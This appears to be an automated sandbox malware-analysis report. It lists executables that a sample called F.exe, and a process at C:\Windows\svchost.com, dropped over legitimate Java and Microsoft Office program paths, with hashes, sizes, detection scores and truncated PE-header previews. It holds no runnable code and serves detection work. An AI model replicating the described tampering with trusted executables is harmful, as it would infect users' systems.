SHA-512:	BF03F48889EA86C4C39B32B32760FE57293D85C5E6A88D3695CF4D7F7AB23B3F4ED07588987619B084AFFB51A61B3C7404E2D8177A29EC4AF343FCBD66F7C560
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	163456
Entropy (8bit):	6.2758220261788
Encrypted:	false
SSDEEP:	3072:zr8WDrCm446dewltB2mNd/HOrveW1dexk834fRZ5Nyc:Pum446d7T/H4X
MD5:	51117D59430CF4C0EA72319AD8930BED
SHA1:	0A7AB6E54B1F62D9FEE7F48A594AFD0E3F7ED846
SHA-256:	CE688EDA6A1F081C10E862422F2C13F24797F21D2DA248E85C0CC81D96BF3010
SHA-512:	E05E6DA3D9728F5E04F5F4D2BF9B875BEA8CCD287BA207B2469D83F49BB6AA759C608B29A107D33BF8460F71840EADAB34CB1924DA3EE8F9E5DE741FB45045BF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	127104
Entropy (8bit):	6.059161475634893
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCds8nBs5s8nBskEsz2zy77hPxIAbBsnzA3QDkrDW8Kq5ns8w:zr8WDrCwUkEsqzy7pxI8BszFJqkb
MD5:	EF3C7B1D99C49F679F1DE40119454E82
SHA1:	E3869B9D17411A1DFB49630E8E9D0A379CCA1599
SHA-256:	4ECF5FCDD95ABA50DF6137D45EDB89467D33A31347525B422AA2A9B36809233B
SHA-512:	71D00F7B07E909CE5C54FBD85DDAAC2752B6B2AE2ED76EDADB4AA07AB1F7BDF25ECD77CB1742EEBAFBFA98087A4582879D4A2D277965D3D39F9E6ADEBA9170F5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	223360
Entropy (8bit):	6.084515656741608
Encrypted:	false
SSDEEP:	3072:zr8WDrC+ySSyyXC2BZC5vHa2L8jv+UII6qS2AroAxYN35gwxcPXtxdTsVcCXFzlb:PuuSyMZOy406qS2AroAxnw6f9JCXN1
MD5:	278E935C540125EB737FF60459E06954
SHA1:	3F2F868109AB1BE159D75FE1FCB78D5AB0F39A29
SHA-256:	7DD8239708026320DC7B738BF5B1F90117475EBF88BE8DA06B99E6A3E860596F
SHA-512:	21E3181E34FCC0D304F5A8EEFA0B92B676DF815BE984792D034FEB61E3189D73020AD5B6D82A5DF2434CD97AB2D1F48AD223B7007695F0673A2ECA8803D2C825
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	203264
Entropy (8bit):	6.625450286768847
Encrypted:	false
SSDEEP:	3072:zr8WDrC6wl0hzyfN7T34oshWGrAUdaz2w9Lf0M/RHym:Pu3iFIf34hcUsz225/
MD5:	241380ED43DD374CF6415E50B83CD0BD
SHA1:	5F4F79F4DBEB1201DFC3D3A83BB1D5400D11F045
SHA-256:	D3CA30B886E1F07EC6AC3989C091EBD5E97F1196D9BD554A2546EF3B4DF61EA4
SHA-512:	D4BF86E17996171B67900847372EFECDC41E7F87621F831FD882E8DEAE49F5A45B218E375AE2347E862C438C11906E2CC67E062A0BC2D1265C968789FA8F68E4
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	209912
Entropy (8bit):	6.335658991643739
Encrypted:	false
SSDEEP:	3072:zr8WDrCUfSoD7sDZ7/E2jijQvZ2ha5ZxXHyz7weLSMqpmmtj:PuUfSoD7q/fji2SUKz7VHwmmtj
MD5:	0DB388DA73178AB846638C787D1DD91E
SHA1:	64D79EC424EF95DE05D484C3BDC446642552879B
SHA-256:	E71DDCCD4996D121D5C7901A367E024266727C4C713635A25B74EB0C132CD59F
SHA-512:	94288DB9B2615FDA0BD27A46EEDBDB3F8FE3E8C2B2985D2B69244B47A7369AD5F357D060DE52FD4C5E9746CF7A3343417A77476A153F49058D8F8C2E61EBFB11
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	209912
Entropy (8bit):	6.335658991643739
Encrypted:	false
SSDEEP:	3072:zr8WDrCUfSoD7sDZ7/E2jijQvZ2ha5ZxXHyz7weLSMqpmmtj:PuUfSoD7q/fji2SUKz7VHwmmtj
MD5:	0DB388DA73178AB846638C787D1DD91E
SHA1:	64D79EC424EF95DE05D484C3BDC446642552879B
SHA-256:	E71DDCCD4996D121D5C7901A367E024266727C4C713635A25B74EB0C132CD59F
SHA-512:	94288DB9B2615FDA0BD27A46EEDBDB3F8FE3E8C2B2985D2B69244B47A7369AD5F357D060DE52FD4C5E9746CF7A3343417A77476A153F49058D8F8C2E61EBFB11
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	264144
Entropy (8bit):	5.859978790158535
Encrypted:	false
SSDEEP:	3072:zr8WDrC2PEGT3EB2e1aWGNU6ITL85x0HRerzJ0YF6OYLy0PPDq29BA+7891:Pu2PEC0QjWGNU6ITL1H0zvjkBA+7891
MD5:	B2A0013F6770F98CD5D22419C506CD32
SHA1:	D1B9E2EBBE6255A386AFE69A9523B7D2BE1E05EA
SHA-256:	87C62BFBF6609662EE24C1B9FD1AB2CF261F68E5F1402CB7E2F6755023A29841
SHA-512:	3302A6D3AB1DC7CB725F4E0DA1A82ECEC7207C7CDF2050410625AFF4E51C17B3A38DB8630ED34E111344C66BC603C3939A46E52A3EE6E1EF282DB1E93E61036F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	430680
Entropy (8bit):	6.625803592345581
Encrypted:	false
SSDEEP:	6144:Puvmmt0fSoD7ZAOhPiURg/4KAaxZTTlvIfaUcuI4hWxBP9SGO0zyqEL:Pmt0LDdOUO42ZdocuI4kxBgGONqEL
MD5:	2463BF0CFD3790EACDB9BFCCA012D2D2
SHA1:	B3EAED3711C1A369A3359BD6ECEF26DDB824B9D2
SHA-256:	FD879B6629EBDFB190FAB80B29DEA52997A75FC44845749552815DA18EA07532
SHA-512:	494FAECC19D7B59548E04CA1CDDE618B9636ED3FC159D526ECC9E4F05DBDF0A96F3C0ABECD4B90BCC1ED7ACA57A9E38400CDCF06C19936D3407D3D5A10B9CC6B
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4473576
Entropy (8bit):	6.5697251244545924
Encrypted:	false
SSDEEP:	98304:9kkCqyDEY7+o3OBvfGVY+40yajyS+9s/pLOq:9kkCqaE68eV+0y8E6L1
MD5:	A0E84CEDA4163F189BE5349FD432B1CB
SHA1:	204335080CD8BA8D46E52DFB29F1461D7BF84CA1
SHA-256:	9A8C97840B4745ABA6BE44CAE7DE9EC0E7960AE31E52DFDE4ACCB1C24B6C4DA7
SHA-512:	BE941C507F9A607087E96CDBA94358F4882BA231CC08E6AAE8480301A5FF82940630134F9DB780B9527F43DD83ABE5D4868759854D2517A6D6A87A26903FCC9F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4316096
Entropy (8bit):	3.9254629343592016
Encrypted:	false
SSDEEP:	98304:jPNLniBaEJhRELqS/rhwov59SRZ5Vb9sybbsK+0rnsQ:TNLniBPJhRELqS/rhb59SRZ5Vb9sybb9
MD5:	AB9C308CB62C689AEC4171AF74B99607
SHA1:	2AFBE3B52505B17653C30E8C51A8A434BB83433D
SHA-256:	5B23BCB1EB5124A1FA7160014A7BE5A546CAFE00AE7FFFCFB19C237552281499
SHA-512:	688D62C8CC8B7E699D379FE5FDA6DC808787E11C369C5CBDFA3559E2B61B607C0AF252232775BA04C2AD082C21DBA2224E6C34E131381EDD52EF0C2539C70484
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	94600
Entropy (8bit):	6.430762305801649
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCuELjOzHKd1XI/etzCJQx0cxnIO/IOmOe:zr8WDrCuE/OTKXI/etG8ICILJ
MD5:	29065F4177E1DFFC20CF409E15644D07
SHA1:	2A506101526624DF3C693E3F9501E7FD0332A5F3
SHA-256:	A572BFF875EA91F7324C87C4966ED38AE29C87A3B999E9EEDCF82730921F1AEA
SHA-512:	611B4D7DF2C4D2B37E6C152B0416A047166B78C999B1C7A6B39D11FE73CB80BA55F4822B9503642CB289730D90A608FA08DC909A845F77A8A13C967689A3C00B
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	101496
Entropy (8bit):	6.2393274170193935
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCcvpz3ktxGvpzvy5ZWGalHFmMTK0KRTS8bOzc:zr8WDrCKToATzvmN0KRm8bOzc
MD5:	16918B2CAE1E6169BB9725597CB7383D
SHA1:	F7539B44190222E9917B3D404A1BBAE7D32D9925
SHA-256:	CB2DFD05D0EFDBEE9DA0E844020762C3124C9BDEEE868534F5E6A383FE312DD1
SHA-512:	A4DF06513B73244A4F04B1F9F38DABB1045B7D4539B0E3D7AE88304EB0554BCC7F38A4B93CDA67C538D49242AA7F3B0524A39B395DBA74E372A754DFB26E803D
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	455760
Entropy (8bit):	5.9316971297219085
Encrypted:	false
SSDEEP:	6144:Pu5wACThwS0vn9IdRsLGEJTdPA6lDfZNAGVx:SwACThwSSn2dRANtlF3j
MD5:	EE123EC97226518C7A526A514A7EA08D
SHA1:	8D53600BF398A582227F4B1B1DF6F815CC5CA046
SHA-256:	767FE1BDB52D43DB570CA6AFD1E86FA00868FE36C8B4BD69A7BEF79876D7D04E
SHA-512:	4B6E4B0EE7E22276CC638531A4151717E965E10B54874B499026383F290B4D66C48E7761C94E336B62A53972E148CD22B4AAC04B6F265BA7889EF52137CA4A7F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	225704
Entropy (8bit):	6.245888252421863
Encrypted:	false
SSDEEP:	3072:zr8WDrCNLqB8edYkIrv6TXRw9xwqazULDjkAJZo0RAjUIqXfkRC:PuRjilq8OPwRzso6AQ5yC
MD5:	58FCC2021F6669D332B12379F34E6ABA
SHA1:	C261CF77942748482EA6423B2816071BAC404855
SHA-256:	099D81B808C4A1507092974E4C79187470FC4D5BC1049DE99B7D87D68FFD8A8D
SHA-512:	2637E583059CA760EACB66649519751191FC96FD3589DE8E17D0AC73C957D9256A50105D03727D19A1193DFB61FF1450AD65DEEA8692EF2D947051D85062E8C1
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	84928
Entropy (8bit):	6.484542699354416
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCh67wZClMML07MiapFmPRHyzMwzobtM+zf:zr8WDrCh67wZClMMQ7MiawHyzMwsL
MD5:	6E3355F8734F6DA5FAC15DF47A197B0F
SHA1:	C933D5E414F6594D61E56FEC641373E33AD3C3ED
SHA-256:	052C62D09235DDD70A3C52C7071D20711F2D4F1F7F653AEA54FB023EC2626B12
SHA-512:	1B108643E2DF6476B167E233B7A3E249A2BCB89006B3C87FEEB90FC96214B52E0BC466C010AE03ED6BECF18864F96B0D5EED6F4720A1CDA70829B4631D3917FD
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83816
Entropy (8bit):	6.536836051910162
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrC+0s7wZClMML072apFmPcnGzLHyxz5pOEtmwxz5E:zr8WDrC+t7wZClMMQ72ahnGzextQyxtE
MD5:	D713C72B72F2554BC5F57573AD79C596
SHA1:	82F518A57C167F1CFE80D7D43ED28084C2D57933
SHA-256:	22CC2A1543DC27CC8F1925ACB173E34141C4FF9E1A012C572E932BB6FD91B4C1
SHA-512:	D0DCB842E46D1F372DBFF6CF1D3DEF6BA5461770400DE2BB7DFD9CB0DB35E80DC721C779E2CF8F852BA9B9EA9E5937D6C4DA31989D399107B6075C6771928486
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	233832
Entropy (8bit):	6.440520521123031
Encrypted:	false
SSDEEP:	3072:zr8WDrCqW32GhNvMQ/58sl2U2Gszlz4SNBZCgMWku:Puf2GhN0lsdspzPgg1
MD5:	605C2C89F9F2A47F991EF737877F2FB6
SHA1:	14E316AFBCA1D6590C6105B7BF76A72339C3ADEF
SHA-256:	E96F113D251169D2B4DB5F51BFBF5F20609702F7B0BEA5FEA55CD4DF71A70682
SHA-512:	506E962224D44478E14FDA6A093E861E225745E36A3B32B7BC98E337F1B492A3664AD84497ECBFB427A967D3CA0390CED92D11FD9E8EF3D7887D2D9415243D5B
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	502632
Entropy (8bit):	6.717621615137878
Encrypted:	false
SSDEEP:	6144:PuyWDxGH79J2VX5gEpvm7JA8I6BHAlSpFG/+Ls3ze30xB7zq2zs:0MxCvm7JK6JAB/6N30xpI
MD5:	A18560DD287C61996F6C3498FF2B6F8F
SHA1:	B81EF528445CCE2BA94A933385FAF56DA526CC25
SHA-256:	551C24CB52C55EB77300FAE5F77A9EE565848DA83A5CEBC4587C5912C94C0A92
SHA-512:	2B94CA43D2F41EE88A81121889DBCFF7B014622FFA2B3048DB7CCA1C6FB7CB3D18CCCB9F4791002E166040A658FA317E42B520D44929973E034B56B7ED9C62C9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	352704
Entropy (8bit):	6.382223038880705
Encrypted:	false
SSDEEP:	6144:PuoEshacHeGXduZtZ9zHVcI3uv7FgR3FTzWQ/ZZyp1:6sHHrtuZtPvh3FuQ/jyp1
MD5:	E517FFDADC37CBB8E4DF9D8C4595BAEB
SHA1:	CAC4F749D83EFAE571B6A581F0579F5EF0F5CFA1
SHA-256:	6B837B2B22A40521E234CE3B11A961C631927951B443DD47EF5E37E54390D907
SHA-512:	500B9C4AABEDAA1D430AE07651C65CABB226B482426960307F457B665686FB846C740B7F26EDE1C4607D8F294467547DAB8590E3C017EDDE4855F3C4934914F7
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4395184
Entropy (8bit):	5.935401530276925
Encrypted:	false
SSDEEP:	98304:UXuo5RMru45b5dZlAj0sqW7YDKMzVwgBWMTwLe7G:GR345NRAgsr7QH6h93
MD5:	ADC30C731B5BA308AE0DB11E6252624E
SHA1:	376805830AA17725342370A3D2B4931E43BE8078
SHA-256:	C17DBEF892EB8A305D6A8A19213830EEA55C50573DBAD3EF5372D1F338053AD5
SHA-512:	BBC87D73EBCEE1CF2C582C87D248B04C66052B5056389D9EBD0D53B7399F2B42098BDED28F6812C583F45EF46A3FEB86D5BCF4BD49D7F2EB9FFDDC146179372F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	603928
Entropy (8bit):	6.5283708663431606
Encrypted:	false
SSDEEP:	12288:/zKRgqBDxoiPCLXHLuk/Wg4Reh2mbeF+IGboJdx:rKgMxoiPoXruPi/++IvJdx
MD5:	C05D4CEB93DF5A97C92332C30BFBBEFE
SHA1:	756FE7D0F337C9434F289D4210C1FDD8AEFE3D5D
SHA-256:	C896D6442442C7A1254A64A9C1934CCD4D26A2776E8B89231F22B0E09D086A40
SHA-512:	06ED302B61C0DA6C490ADFB097A25F4C6F9D03085828CDEAE8A7AEB69769B3A41149A7645C9D198BEF862B18047B99606B5891064A0BD09C36178AFB3017EC7A
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	507024
Entropy (8bit):	6.142966147544941
Encrypted:	false
SSDEEP:	6144:Pu3yrmBq0RYSv3A5DhW15yChMFt2XTNJWLgCWzzYhPRt+:BrmBjYuALWJMn2XTmL7hPH+
MD5:	28AD0BC8CBF0F937FA0793A069EEE72C
SHA1:	190CEF5090018E9BE02DCB8D80193323449BD938
SHA-256:	2A9FBCE0BF953A54CFA2124AE4E699B981D4CB9485543F40B28CD952C65D8744
SHA-512:	478EFDF0D097B6977495FFBA953D7494FD72E98DFBFF4C70808378F2EE3FD90C79722E70698081E20540242FA005DF756857BE18BDA3EBEE5BE952BBC61A3254
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	251560
Entropy (8bit):	6.617081143188022
Encrypted:	false
SSDEEP:	6144:PuDomAAOwPcPIqk4Vsvt0uews+qZP9zOPBxGiryKI:0sAETlVsKzZPixGBKI
MD5:	6ED3FDB228C401F308ADA52D82C6A2AC
SHA1:	D5AFF2386B2708D10F68515D0D010E83CABA20E6
SHA-256:	D5A201D9C7373DD91395EA5B24985E9984F3ADA0CBAD869248EC975B80707184
SHA-512:	5431E81924400874EA1173F02B2404BB7C43E8BC158E092C43F4FA071810472E845AC76DEB7716A265A79F357BB07106D2574E3E6F5D2448761BE74F8A694493
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	751720
Entropy (8bit):	6.630099780481392
Encrypted:	false
SSDEEP:	12288:vdI8PdgELg6eaBlnjlZcTerWv+xdeFhvCs9TukINOW:va8PWELTBlZ+erw+xdeFUsUkEh
MD5:	7503967B649C070ECF4324AD7B82C67D
SHA1:	BA5AA539F9AFF806A5B83417290BF1251D24490A
